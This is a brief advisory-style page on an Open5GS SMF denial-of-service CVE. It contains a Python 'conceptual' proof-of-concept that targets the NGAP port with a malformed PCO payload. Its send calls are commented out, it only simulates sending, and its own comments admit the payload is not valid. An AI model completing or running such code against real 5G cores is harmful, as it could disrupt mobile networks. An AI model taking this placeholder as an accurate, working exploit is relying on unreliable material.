CVE-2025-56568 Open5GS SMF组件拒绝服务漏洞

import socket # Conceptual PoC for CVE-2025-56568 # This script demonstrates the logic for sending a malformed NGAP message. # Note: Real NGAP communication runs over SCTP and requires ASN.1 encoding. TARGET_IP = "192.168.1.100" TARGET_PORT = 38412 # Default SCTP port for NGAP # Malformed payload: Simulating an NGAP message with a bad PCO length field. # In a real scenario, this hex stream would be a valid NGAP PDU structure # with specific length corruptions in the PCO container. malformed_payload = b"\x00\x0f\x40\x00\x00\x00\x02\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x01" def send_exploit(): print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") # Since NGAP uses SCTP, standard TCP/UDP sockets won't work directly. # This is a placeholder for the transport mechanism. try: # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((TARGET_IP, TARGET_PORT)) # sock.send(malformed_payload) print("[!] Payload sent (Simulated). Check target for crash.") # sock.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_exploit()